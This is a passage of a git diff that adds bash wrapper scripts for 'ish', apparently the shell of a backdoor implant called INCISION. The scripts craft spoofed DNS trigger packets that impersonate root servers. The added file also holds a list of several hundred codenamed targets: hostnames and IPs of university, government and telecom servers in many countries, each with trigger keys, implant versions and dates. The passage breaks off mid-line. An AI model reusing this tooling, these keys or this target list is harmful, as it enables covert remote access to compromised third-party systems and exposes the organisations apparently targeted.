+ fi +} + +setupdns() { + if [ $rootdns ]; then + $rootdns + return + fi + + echo + echo -e "\t--- Select root DNS server for trigger ---" + echo + + PS3=$(echo -e "\nDNS? ") + select rootdns in $dnslist; do + if [ $rootdns ]; then + $rootdns + break + else + echo "Select a listed number." + echo + fi + done +} + +dooptions() { + getipaddr + local i_opt="-i $ip " + local o_opt=${UTC_OFFSET:+"-o $UTC_OFFSET "} + + n=1 + g_set=0 + while [ $# -gt 0 ]; do + case $1 in + -i | -c ) i_set=1 + L_ip=${2%:*} ;; # xmit trigger from this IP addr + -o ) o_set=1 ;; # make a time adj. in trigger + -l ) l_set=$n ;; # use local IP for trigger + -g ) g_set=1 ;; # WRT: Are we using a gateway ? + esac + + ## Build arg list without the "-l" option. + [ ${l_set:-0} -eq $n ] || no_l=$(echo "$no_l $1 ") + + n=$((n+1)) + shift + done + + [ ${i_set:+1} ] || tn_options=$(echo "$tn_options $i_opt ") + [ ${o_set:+1} ] || tn_options=$(echo "$tn_options $o_opt ") + [ ${l_set:+1} ] && [ $g_set -eq 0 ] && localip && cmdline=$no_l + [ ${l_set:+1} ] && [ $g_set -eq 1 ] && remoteip && cmdline=$no_l +} + +getipaddr() { + if [ ! "$NOppp" ] ; then + ifaddr ppp0 + [ -n "$ifip" ] && ip=$ifip && echo "using ppp0" && return + fi + + ifaddr eth0 + [ -n "$ifip" ] && ip=$ifip && echo "using eth0" && return + + ip=$(hostname -i) +} + +ifaddr() { + ifip=$(ifconfig $1 2> /dev/null | grep "inet addr:" | \ + cut -d: -f2 | cut -d' ' -f1 ) +} + +echoenv() { + echo + echo "- Environment variable setup..." + echo " DNS_NAME = $DNS_NAME" + echo " DNS_IP = $DNS_IP" + echo " DNS_SOA = $DNS_SOA" + echo " TARG_TEL = $TARG_TEL" + [ ${TARG_AYT_new:+1} ] && + echo " TARG_AYT = $TARG_AYT_new resetting to old keys..." + echo " TARG_AYT = $TARG_AYT" + [ ${O_TARG_AYT:+1} ] && echo " O_TARG_AYT = $O_TARG_AYT" + [ ${UTC_OFFSET:+1} ] && echo " UTC_OFFSET = $UTC_OFFSET" + echo +} + +usage() { + echo + echo " $0 is a bash shell script that sets up the" + echo " environment for \`ish', the INCISION shell." + echo " All command line args are passed along to \`ish'." + echo " Options to \`ish' are..." + echo + ish -h + exit +} + + +## +## Run the functions to setup the environment for INCISION's shell `ish'. +## + +eval targ=\${$#} # note: doesn't handle port arg at end of command line +setupkeys $targ +ckupgrade +setupdns +dooptions $cmdline + +echoenv +echo running: ish $tn_options $cmdline +echo + +eval ish $tn_options \$cmdline diff --git a/Linux/bin/tn.spayed.oldkey b/Linux/bin/tn.spayed.oldkey new file mode 100755 index 0000000..eece92e --- /dev/null +++ b/Linux/bin/tn.spayed.oldkey @@ -0,0 +1,1917 @@ +#!/usr/bin/env bash + +## +## Global variables used. +## + +## Uncomment & set keys/rootdns if you don't want to be prompted. + +#keys=TARGET +[ ${rootdns:+1} ] || rootdns=dontcare +#rootdns=localip + +PATH=$PATH:$(dirname $0):. + +cmdline=$@ + +dnslist="rs.internic.net venera.isi.edu ns.psi.net + noc.umd.edu gw.home.vix.com nic.nordu.net + localip remoteip dontcare" + + +## +## Functions to setup the root server used for the trigger packet. +## These functions export environment variables +## needed by `ish' in crafting the trigger packet. +## DNS_NAME +## DNS_IP +## DNS_SOA +## + +rs.internic.net() { # A.ROOT-SERVERS.NET + export DNS_NAME=rs.internic.net + export DNS_IP=198.41.0.4 + export DNS_SOA=markk +} + +venera.isi.edu() { # B.ROOT-SERVERS.NET + export DNS_NAME=venera.isi.edu + export DNS_IP=128.9.0.107 + export DNS_SOA=koda +} + +ns.psi.net() { # C.ROOT-SERVERS.NET + export DNS_NAME=ns.psi.net + export DNS_IP=192.33.4.12 + export DNS_SOA=hostmaster +} + +noc.umd.edu() { # D.ROOT-SERVERS.NET + export DNS_NAME=NOC.UMD.EDU + export DNS_IP=128.8.10.90 + export DNS_SOA=hostmaster +} + +gw.home.vix.com() { # F.ROOT-SERVERS.NET + export DNS_NAME=gw.home.vix.com + export DNS_IP=192.5.5.241 + export DNS_SOA=postmaster +} + +nic.nordu.net() { # I.ROOT-SERVERS.NET + export DNS_NAME=nic.nordu.net + export DNS_IP=192.36.148.17 + export DNS_SOA=hostmaster +} + +mindspring.net() { + export DNS_NAME=itchy.mindspring.net + export DNS_IP=207.69.200.210 + export DNS_SOA=hostmaster +} + +remoteip() { + export DNS_NAME=ns2.ix.netcom.com + export DNS_IP=$L_ip + export DNS_SOA=hostmaster + echo "*** Using Remote IP for trigger ***" +} + +localip() { + export DNS_NAME=ns2.ix.netcom.com + getipaddr + export DNS_IP=$ip + export DNS_SOA=hostmaster + echo "*** Using local IP for trigger ***" +} + +dontcare() { + case $(date +%a) in + Mon ) venera.isi.edu ;; + Tue ) ns.psi.net ;; + Wed ) rs.internic.net ;; + Thu ) gw.home.vix.com ;; + Fri ) nic.nordu.net ;; + * ) rs.internic.net ;; + esac +} + +lab.test.net() { + export DNS_NAME=lab.test.net + export DNS_IP=10.1.2.3 + export DNS_SOA=markk +} + + +## +## Functions to setup the target's keys +## These functions export the environment variables +## needed by `tn' for operation. +## TARG_TEL key used during the telnet session +## If this is not defined, then assume we're using the +## new public key capability. +## TARG_AYT key used in the DNS trigger packet +## O_TARG_AYT key used prior to an upgrade. Remove after reboot. +## UTC_OFFSET target UTC adjustment +## expr $(date -u +%Y%j%H%M) - $(date -u +%Y%j%H%M) +## theirs ours +## +## If needed, the "special" port 17325 gives dst port 53 in triggers. +## +########## 231 INCISION keys included below ########## + +keylist=" + A_______________a.a_____________________________1.1.1.1 + BOBBY___________bob.bob.com_____________________1.2.3.4 + BOBB____________bob.bob_________________________1.2.3.4 + BOO_____________boo.boo.net_____________________1.2.3.4 + CHAZZTEST_______test..nonet.net_________________1.2.3.4 + CRYPTICSENTINEL_host1.domain____________________1.2.3.4 + DEMO____________a.a.b.c_________________________1.2.3.4 + DEMO____________a.b.c.d_________________________1.2.3.4 + DORKUS__________bob.dork.com____________________1.2.3.4 + DORK____________bob.bob.com_____________________1.2.3.4 + DORK____________dork.dork.com___________________1.2.3.4 + GOSPELHOGGING___pbx.none________________________1.2.3.4 + INTONATION______METCOC5CM.clarent.com___________213.132.50.10 + INTONATION______MTCCSUN.imtech.ernet.in_________202.141.121.198 + INTONATION______Ns2.rosprint.ru_________________194.84.23.125 + INTONATION______bgl1dr1-a-fixed.sancharnet.in___61.1.128.17 + INTONATION______bgl1pp1-a-fixed.sancharnet.in___61.1.128.71 + INTONATION______bj02.cww.com____________________202.84.16.34 + INTONATION______butt-head.mos.ru________________10.30.1.130 + INTONATION______dcproxy1.thrunet.com____________210.117.65.44 + INTONATION______dns2.net1.it____________________213.140.195.7 + INTONATION______enterprise.telesat.com.co_______66.128.32.67 + INTONATION______gate.technopolis.kirov.ru_______217.9.148.61 + INTONATION______imms1.macau.ctm.net_____________202.175.36.54 + INTONATION______indy.fjmu.edu.cn________________202.112.176.3 + INTONATION______kacstserv.kacst.edu.sa__________212.26.44.132 + INTONATION______known.counsellor.gov.cn_________61.151.243.13 + INTONATION______laleh.itrc.ac.ir._______________80.191.2.2 + INTONATION______mail.bangla.net_________________203.188.252.3 + INTONATION______mail.edi.edu.cn_________________218.104.71.61 + INTONATION______mail.hallym.ac.kr_______________210.115.225.25 + INTONATION______mail.hangzhouit.gov.cn__________202.107.197.199 + INTONATION______mail.hz.zh.cn___________________202.101.172.6 + INTONATION______mail.imamu.edu.sa_______________212.138.48.8 + INTONATION______mail.siom.ac.cn_________________210.72.9.2 + INTONATION______mail.tropmet.res.in_____________203.199.143.2 + INTONATION______mail.tsinghua.edu.cn____________166.111.8.17 + INTONATION______mail.zzu.edu.cn_________________222.22.32.88 + INTONATION______mail1.371.net___________________218.29.0.195 + INTONATION______mailgw.thtf.com.cn______________218.107.133.12 + INTONATION______mailhub.minaffet.gov.rw_________62.56.174.152 + INTONATION______mails.cneic.com.cn______________218.247.159.113 + INTONATION______mailscan3.cau.ctm.net___________202.175.36.180 + INTONATION______mailsrv02.macau.ctm.net_________202.175.3.120 + INTONATION______mailsvra.macau.ctm.net__________202.175.3.119 + INTONATION______mbi3.kuicr.kyoto-u.ac.jp________133.103.101.21 + INTONATION______mcd-su-2.mos.ru_________________10.34.100.2 + INTONATION______mipsa.ciae.ac.cn________________202.38.8.1 + INTONATION______mpkhi-bk.multi.net.pk___________202.141.224.40 + INTONATION______msgstore2.pldtprv.net___________192.168.120.3 + INTONATION______n02.unternehmen.com_____________62.116.144.147 + INTONATION______ndl1mc1-a-fixed.sancharnet.in___61.0.0.46 + INTONATION______ndl1mx1-a-fixed.sancharnet.in___61.0.0.46 + INTONATION______ndl1pp1-a-fixed.sancharnet.in___61.0.0.71 + INTONATION______no1.unternehemen.com____________62.116.144.150 + INTONATION______no3.unternehmen.org_____________62.116.144.190 + INTONATION______ns.cac.com.cn___________________202.98.102.5 + INTONATION______ns1.2911.net____________________202.99.41.9 + INTONATION______ns1.multi.net.pk________________202.141.224.34 + INTONATION______ns2.xidian.edu.cn_______________202.117.112.4 + INTONATION______orion.platino.gov.ve____________161.196.215.67 + INTONATION______outweb.nudt.edu.cn______________202.197.0.185 + INTONATION______pop.net21pk.com_________________203.135.45.66 + INTONATION______post.netchina.com.cn____________202.94.1.48 + INTONATION______public2.zz.ha.cn________________218.29.0.200 + INTONATION______sea.net.edu.cn__________________202.112.5.66 + INTONATION______smmu-ipv6.smmu.edu.cn___________202.121.224.5 + INTONATION______smtp.2911.net___________________218.245.255.5 + INTONATION______smtp.macau.ctm.net______________202.175.36.220 + INTONATION______sonatns.sonatrach.dz____________193.194.75.35 + INTONATION______sparc.nour.net.sa_______________212.12.160.26 + INTONATION______sps01.office.ctm.net____________202.175.4.38 + INTONATION______sunhe.jinr.ru___________________159.93.18.100 + INTONATION______sussi.cressoft.com.pk___________202.125.140.194 + INTONATION______ultra2.tsinghua.edu.cn__________166.111.120.10 + INTONATION______unknown.counsellor.gov.cn_______61.151.243.13 + INTONATION______voyager1.telesat.com.co_________66.128.32.68 + INTONATION______webserv.mos.ru__________________10.30.10.2 + INTONATION______www.siom.ac.cn__________________202.127.16.44 + INTONATION______www21.counsellor.gov.cn_________130.34.115.132 + INTONATION______www21.counsellor.gov.cn_________61.151.243.13 + JOHNS_OP________bob.bob.com_____________________1.2.3.4 + JOHNTEST________bob.bob.com_____________________1.2.3.4 + JOHNTEST________john.john.com___________________1.2.3.4 + LAMPSWITCH______unknown.unknown_________________1.2.3.4 + PITCHIMPAIR_____Spirit.das2.ru__________________81.94.47.83 + PITCHIMPAIR_____anie.sarenet.es_________________192.148.167.2 + PITCHIMPAIR_____aries.ficnet.net________________202.145.137.19 + PITCHIMPAIR_____asic.e-technik.uni-rostock.de___139.30.202.8 + PITCHIMPAIR_____burgoa.sarenet.es_______________194.30.32.242 + PITCHIMPAIR_____cad-server1.EE.NCTU.edu.tw______140.113.212.150 + PITCHIMPAIR_____ciidet.rtn.net.mx_______________204.153.24.32 + PITCHIMPAIR_____cmusun8.unige.ch________________129.194.97.8 + PITCHIMPAIR_____colpisaweb.sarenet.es___________194.30.32.229 + PITCHIMPAIR_____connection1.connection.com.br___200.160.208.4 + PITCHIMPAIR_____connection2.connection.com.br___200.160.208.8 + PITCHIMPAIR_____dns1.unam.mx____________________132.248.204.1 + PITCHIMPAIR_____dns2.chinamobile.com____________211.137.241.34 + PITCHIMPAIR_____dns2.unam.mx____________________132.248.10.2 + PITCHIMPAIR_____dragon.unideb.hu________________193.6.138.65 + PITCHIMPAIR_____dukas.upc.es____________________147.83.2.62 + PITCHIMPAIR_____e3000.hallym.ac.kr______________210.115.225.16 + PITCHIMPAIR_____electra.otenet.gr_______________195.170.2.3 + PITCHIMPAIR_____fl.sun-ip.or.jp_________________150.27.1.10 + PITCHIMPAIR_____ftp.hyunwoo.co.kr_______________211.232.97.195 + PITCHIMPAIR_____ganeran.sarenet.es______________194.30.32.177 + PITCHIMPAIR_____geosun1.unige.ch________________129.194.41.4 + PITCHIMPAIR_____giada.ing.unirc.it______________192.167.50.14 + PITCHIMPAIR_____hk.sun-ip.or.jp_________________150.27.1.5 + PITCHIMPAIR_____iconoce1.sarenet.es_____________194.30.0.16 + PITCHIMPAIR_____icrsun.kuicr.kyoto-u.ac.jp______133.3.5.20 + PITCHIMPAIR_____ids2.int.ids.pl_________________195.117.3.32 + PITCHIMPAIR_____iti-idsc.net.eg_________________163.121.12.2 + PITCHIMPAIR_____kommsrv.RZ.UniBw-Muenchen.de____137.193.10.8 + PITCHIMPAIR_____logos.uba.uva.nl________________145.18.84.96 + PITCHIMPAIR_____ltv.com.ve______________________200.75.112.26 + PITCHIMPAIR_____mail.a-1.net.cn_________________210.77.147.84 + PITCHIMPAIR_____mail.bhu.ac.in__________________202.141.107.15 + PITCHIMPAIR_____mail.btbu.edu.cn________________211.82.112.23 + PITCHIMPAIR_____mail.dyu.edu.tw_________________163.23.1.73 + PITCHIMPAIR_____mail.et.ntust.edu.tw____________140.118.2.53 + PITCHIMPAIR_____mail.hanseo.ac.kr_______________203.234.72.4 + PITCHIMPAIR_____mail.hccc.gov.tw________________210.241.6.97 + PITCHIMPAIR_____mail.howon.ac.kr________________203.246.64.14 + PITCHIMPAIR_____mail.irtemp.na.cnr.it___________140.164.20.20 + PITCHIMPAIR_____mail.jccs.com.sa________________212.70.32.100 + PITCHIMPAIR_____mail.lzu.edu.cn_________________202.201.0.136 + PITCHIMPAIR_____mail.mae.co.kr__________________210.118.179.1 + PITCHIMPAIR_____mail.must.edu.tw________________203.68.220.40 + PITCHIMPAIR_____mail.ncue.edu.tw________________163.23.225.100 + PITCHIMPAIR_____mail.tccn.edu.tw________________203.64.35.108 + PITCHIMPAIR_____mail.tpo.fi_____________________193.185.60.42 + PITCHIMPAIR_____mail.univaq.it__________________192.150.195.10 + PITCHIMPAIR_____mail.utc21.co.kr________________211.40.103.194 + PITCHIMPAIR_____mail1.imtech.res.in_____________203.90.127.22 + PITCHIMPAIR_____mailer.ing.unirc.it_____________192.167.50.202 + PITCHIMPAIR_____mailgw.idom.es__________________194.30.33.29 + PITCHIMPAIR_____matematica.univaq.it____________192.150.195.38 + PITCHIMPAIR_____mbox.com.eg_____________________213.212.208.10 + PITCHIMPAIR_____milko.stacken.kth.se____________130.237.234.3 + PITCHIMPAIR_____moneo.upc.es____________________147.83.2.91 + PITCHIMPAIR_____mtrader2.grupocorreo.es_________194.30.32.29 + PITCHIMPAIR_____mxtpa.biglobe.net.tw____________202.166.255.103 + PITCHIMPAIR_____myhome.elim.net_________________203.239.130.7 + PITCHIMPAIR_____newin.int.rtbf.be_______________212.35.107.2 + PITCHIMPAIR_____niveau.math.uni-bremen.de_______134.102.124.201 + PITCHIMPAIR_____nl37.yourname.nl________________82.192.68.37 + PITCHIMPAIR_____noc25.corp.home.ad.jp___________203.165.5.82 + PITCHIMPAIR_____noc33.corp.home.ad.jp___________203.165.5.74 + PITCHIMPAIR_____noc35.corp.home.ad.jp___________203.165.5.114 + PITCHIMPAIR_____noc37.corp.home.ad.jp___________203.165.5.117 + PITCHIMPAIR_____noc38.corp.home.ad.jp___________203.165.5.118 + PITCHIMPAIR_____nodep.sun-ip.or.jp______________150.27.1.2 + PITCHIMPAIR_____noya.bupt.edu.cn________________202.112.96.2 + PITCHIMPAIR_____ns.anseo.dankook.ac.kr__________203.237.216.2 + PITCHIMPAIR_____ns.bigobe.net.tw________________202.166.255.98 + PITCHIMPAIR_____ns.bur.hiroshima-u.ac.jp________133.41.145.11 + PITCHIMPAIR_____ns.cec.uchile.cl________________200.9.97.3 + PITCHIMPAIR_____ns.chining.com.tw_______________202.39.26.50 + PITCHIMPAIR_____ns.eyes.co.kr___________________210.98.224.88 + PITCHIMPAIR_____ns.gabontelecom.com_____________217.77.71.52 + PITCHIMPAIR_____ns.global-one.dk________________194.234.33.5 + PITCHIMPAIR_____ns.hallym.ac.kr_________________210.115.225.11 + PITCHIMPAIR_____ns.hanseo.ac.kr_________________203.234.72.1 + PITCHIMPAIR_____ns.hufs.ac.kr___________________203.253.64.1 + PITCHIMPAIR_____ns.icu.ac.kr____________________210.107.128.31 + PITCHIMPAIR_____ns.ing.unirc.it_________________192.167.50.2 + PITCHIMPAIR_____ns.khmc.or.kr___________________203.231.128.1 + PITCHIMPAIR_____ns.kimm.re.kr___________________203.241.84.10 + PITCHIMPAIR_____ns.kix.ne.kr____________________202.30.94.10 + PITCHIMPAIR_____ns.rtn.net.mx___________________204.153.24.1 + PITCHIMPAIR_____ns.stacken.kth.se_______________130.237.234.17 + PITCHIMPAIR_____ns.unam.mx______________________132.248.253.1 + PITCHIMPAIR_____ns.univaq.it____________________192.150.195.20 + PITCHIMPAIR_____ns.youngdong.ac.kr______________202.30.58.1 + PITCHIMPAIR_____ns1.bangla.net__________________203.188.252.2 + PITCHIMPAIR_____ns1.btc.bw______________________168.167.168.34 + PITCHIMPAIR_____ns1.bttc.ru_____________________80.82.162.118 + PITCHIMPAIR_____ns1.gx.chinamobile.com__________211.138.252.30 + PITCHIMPAIR_____ns1.ias.ac.in___________________203.197.183.66 + PITCHIMPAIR_____ns1.starnets.ro_________________193.226.61.68 + PITCHIMPAIR_____ns1.sun-ip.or.jp________________150.27.1.8 + PITCHIMPAIR_____ns1.youngdong.ac.kr_____________202.30.58.5 + PITCHIMPAIR_____ns2-backup.tpo.fi_______________193.185.60.40 + PITCHIMPAIR_____ns2.ans.co.kr___________________210.126.104.74 + PITCHIMPAIR_____ns2.chem.tohoku.ac.jp___________130.34.115.132 + PITCHIMPAIR_____ns2.otenet.gr___________________195.170.2.1 + PITCHIMPAIR_____nsce1.ji-net.com________________203.147.62.229 + PITCHIMPAIR_____oiz.sarenet.es__________________192.148.167.17 + PITCHIMPAIR_____orhi.sarenet.es_________________192.148.167.5 + PITCHIMPAIR_____pastow.e-technik.uni-rostock.de_139.30.200.36 + PITCHIMPAIR_____pfdsun.kuicr.kyoto-u.ac.jp______133.3.5.2 + PITCHIMPAIR_____pitepalt.stacken.kth.se_________130.237.234.151 + PITCHIMPAIR_____proxy1.tcn.ed.jp________________202.231.176.242 + PITCHIMPAIR_____rabbit.uj.edu.pl________________149.156.89.33 + PITCHIMPAIR_____s03.informatik.uni-bremin.de____134.102.201.53 + PITCHIMPAIR_____saturn.mni.fh-giessen.de________212.201.7.21 + PITCHIMPAIR_____sci.s-t.au.ac.th________________168.120.9.1 + PITCHIMPAIR_____scsun25.unige.ch________________129.194.49.47 + PITCHIMPAIR_____seoildsp.co.kr__________________218.36.28.250 + PITCHIMPAIR_____servidor2.upc.es________________147.83.2.3 + PITCHIMPAIR_____smuc.smuc.ac.kr_________________203.237.176.1 + PITCHIMPAIR_____snacks.stacken.kth.se___________130.237.234.152 + PITCHIMPAIR_____son-goki.sun-ip.or.jp___________150.27.1.11 + PITCHIMPAIR_____sparc20mc.ing.unirc.it__________192.167.50.12 + PITCHIMPAIR_____spin.lzu.edu.cn_________________202.201.0.131 + PITCHIMPAIR_____splash-atm.upc.es_______________147.83.2.116 + PITCHIMPAIR_____sun.bq.ub.es____________________161.116.154.1 + PITCHIMPAIR_____sunbath.rrze.uni-erlangen.de____131.188.3.200 + PITCHIMPAIR_____sunfirev250.cancilleria.gob.ni__165.98.181.5 + PITCHIMPAIR_____tamarugo.cec.uchile.cl__________200.9.97.3 + PITCHIMPAIR_____tayuman.info.com.ph_____________203.172.11.21 + PITCHIMPAIR_____theta.uoks.uj.edu.pl____________149.156.89.30 + PITCHIMPAIR_____tologorri.grupocorreo.es________194.30.32.109 + PITCHIMPAIR_____tuapewa.polytechnic.edu.na______196.31.225.2 + PITCHIMPAIR_____uji.kyoyo-u.ac.jp_______________133.3.5.33 + PITCHIMPAIR_____ultra10.nanya.edu.tw____________203.68.40.6 + PITCHIMPAIR_____unknown.unknown_________________125.10.31.145 + PITCHIMPAIR_____v244.kyoyo-u.ac.jp______________133.3.5.33 + PITCHIMPAIR_____v246.kyoyo-u.ac.jp______________133.3.5.2 + PITCHIMPAIR_____war.rkts.com.tr_________________195.142.144.125 + PITCHIMPAIR_____webmail.s-t.au.ac.th____________168.120.9.2 + PITCHIMPAIR_____win.hallym.ac.kr________________210.115.225.17 + PITCHIMPAIR_____winner.hallym.ac.kr_____________210.115.225.10 + PITCHIMPAIR_____winners.yonsei.ac.kr____________210.115.225.14 + PITCHIMPAIR_____www.bygden.nu___________________192.176.10.178 + PITCHIMPAIR_____www.cfd.or.jp___________________210.198.16.75 + PITCHIMPAIR_____www.pue.uia.mx__________________192.100.196.7 + PITCHIMPAIR_____zanburu.grupocorreo.es__________194.30.32.113 + TEST____________bob.bob.com_____________________1.2.3.4 + TEST____________test.test_______________________1.2.3.4 + " + +A_______________a.a_____________________________1.1.1.1() { +# A___a.a___1.1.1.1___20040716-142049 + ## INCISION Version:1.0 OS:i386-unknown-freebsd4.5 + export TARG_AYT="9d6591d4 6bc0a308 5d88ff90" +} + +BOBBY___________bob.bob.com_____________________1.2.3.4() { +# BOBBY___bob.bob.com___1.2.3.4___20060803-114950 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="86eaef4e add2891c 482c8820" +} + +BOBB____________bob.bob_________________________1.2.3.4() { +# BOBB___bob.bob___1.2.3.4___20051129-151325 + ## INCISION Version:4.10.2.11 OS:i386-pc-solaris2.8 + export TARG_AYT="b9dbfc1d 0f29890b f51142b5" +} + +BOO_____________boo.boo.net_____________________1.2.3.4() { +# BOO___boo.boo.net___1.2.3.4___20050711-151306 + ## INCISION Version:4.11.5.3 OS:i686-pc-linux-gnu-2.4.29 + export TARG_AYT="4f325019 f457af10 b951a7f3" +} + +CHAZZTEST_______test..nonet.net_________________1.2.3.4() { +# CHAZZTEST___test..nonet.net___1.2.3.4___20060921-114719 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="1715060c 415ce5e0 f7145b8b" +} + +CRYPTICSENTINEL_host1.domain____________________1.2.3.4() { +# CRYPTICSENTINAL___host1.domain___1.2.3.4___20051223-111017 + ## INCISION Version:4.11.8.2 OS:i686-pc-linux-gnu-2.4.21-37.EL + export TARG_AYT="12345678 9abcdef0 12345678" +} + +DEMO____________a.a.b.c_________________________1.2.3.4() { +# DEMO___a.a.b.c___1.2.3.4___20030328-152608 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="93a544a1 3e8fe558 f030a425" +} + +DEMO____________a.b.c.d_________________________1.2.3.4() { +# DEMO___a.b.c.d___1.2.3.4___20030825-140652 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="5cc7316e 99efbf83 b55c1af5" +} + +DORKUS__________bob.dork.com____________________1.2.3.4() { +# DORKUS___bob.dork.com___1.2.3.4___20061005-181733 + ## INCISION Version:4.11.8.2 OS:i686-pc-linux-gnu-2.4.21-37.EL + export TARG_AYT="bb4b8c9d 82c66f97 431ec980" +} + +DORK____________bob.bob.com_____________________1.2.3.4() { +# DORK___bob.bob.com___1.2.3.4___20060724-173621 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="df2f5e3f e195725c 74248bbe" +} + +DORK____________dork.dork.com___________________1.2.3.4() { +# DORK___dork.dork.com___1.2.3.4___20060724-183339 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="b7d09e55 6c778b3b b88d3c4c" +} + +GOSPELHOGGING___pbx.none________________________1.2.3.4() { +# ICEWARRIOR___pbx.none___1.2.3.4___20041222-091442 + ## INCISION Version:4.11.4.1 OS:avaya-linux-2.4.20-AV14 + export TARG_AYT="f894d75b 9cc46a53 0db9cd1a" +} + +INTONATION______METCOC5CM.clarent.com___________213.132.50.10() { +# INTONATION___METCOC5CM.clarent.com___213.132.50.10___20031010-151735 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65c67e1d 7f972d4b 7a2a9c53" +} + +INTONATION______MTCCSUN.imtech.ernet.in_________202.141.121.198() { +# INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="688cd98e c94b4689 40dd5001" +} + +INTONATION______Ns2.rosprint.ru_________________194.84.23.125() { +# INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="9a3c4c8e ab3d55da f5a598e3" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-1099 +} + +INTONATION______bgl1dr1-a-fixed.sancharnet.in___61.1.128.17() { +# INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="36eb9564 129b94c7 695de5dc" +} + +INTONATION______bgl1pp1-a-fixed.sancharnet.in___61.1.128.71() { +# INTONATION___bgl1pp1-a-fixed.sancharnet.in___61.1.128.71___20040603-151945 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="48d49f80 a37227ba e6a1989c" +} + +INTONATION______bj02.cww.com____________________202.84.16.34() { +# INTONATION___bj02.cww.com___202.84.16.34___20020808-173544 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="37176c26 02d784a7 23b3ebd6" +} + +INTONATION______butt-head.mos.ru________________10.30.1.130() { +# INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="0f706922 e577b1ab 1792b625" +} + +INTONATION______dcproxy1.thrunet.com____________210.117.65.44() { +# INTONATION___dcproxy1.thrunet.com___210.117.65.44___20011107-121854 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3760159 9cd3188e b06d8031" +} + +INTONATION______dns2.net1.it____________________213.140.195.7() { +# INTONATION___dns2.net1.it___213.140.195.7___20030327-165934 + ## INCISION Version:4.8.3 OS:i686-pc-linux-gnu-2.4.7-10 + export TARG_AYT="5e54ea5e 6b12400d e1d1f239" +} + +INTONATION______enterprise.telesat.com.co_______66.128.32.67() { +# INTONATION___enterprise.telesat.com.co___66.128.32.67___20030124-001006 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="efe39b08 465a338c db5d9532" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +INTONATION______gate.technopolis.kirov.ru_______217.9.148.61() { +# INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="54a5142a 7a08fc53 0bbff46b" +} + +INTONATION______imms1.macau.ctm.net_____________202.175.36.54() { +# INTONATION___imms1.macau.ctm.net___202.175.36.54___20040917-170702 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f604d849 5b6bda89 2f392cc2" +} + +INTONATION______indy.fjmu.edu.cn________________202.112.176.3() { +# INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="f2f7bf00 a31fe8c0 905fd227" +} + +INTONATION______kacstserv.kacst.edu.sa__________212.26.44.132() { +# INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060915-114345 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="cfac60dc f21f219e 71af6c6f" +} + +INTONATION______known.counsellor.gov.cn_________61.151.243.13() { +# INTONATION___known.counsellor.gov.cn___61.151.243.13___20040414-095522 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="684a97df c02068dc d8d3a90f" +} + +INTONATION______laleh.itrc.ac.ir._______________80.191.2.2() { +# INTONATION___laleh.itrc.ac.ir___80.191.2.2___20030411-160713 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="61b44674 9ca936ab 524bb920" +} + +INTONATION______mail.bangla.net_________________203.188.252.3() { +# INTONATION___mail.bangla.net___203.188.252.3___20011023-135236 + ## INCISION Version:4.8 OS:i386-pc-solaris2.6 + export TARG_AYT="96b64a72 fd9b9137 6521efb1" +} + +INTONATION______mail.edi.edu.cn_________________218.104.71.61() { +# INTONATION___mail.edi.edu.cn___218.104.71.61___20030619-160701 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="8ffee519 2e38f356 a878d119" +} + +INTONATION______mail.hallym.ac.kr_______________210.115.225.25() { +# INTONATION___mail.hallym.ac.kr___210.115.225.25___20031204-110826 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="86f0747e 348f2a59 2b887cc7" +} + +INTONATION______mail.hangzhouit.gov.cn__________202.107.197.199() { +# INTONATION___mail.hangzhouit.gov.cn___202.107.197.199___20050124-103318 + ## INCISION Version:4.11.2 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e544d069 6240e572 f86fb848" +} + +INTONATION______mail.hz.zh.cn___________________202.101.172.6() { +# INTONATION___mail.hz.zh.cn___202.101.172.6___20030806-135014 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="1a8c4bd0 3ae72d69 38da97b2" +} + +INTONATION______mail.imamu.edu.sa_______________212.138.48.8() { +# INTONATION___mail.imamu.edu.sa___212.138.48.8___20021002-194811 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="057f2b44 02dbac88 a7cdcc70" + [ "$UTC_OFFSET" ] || export 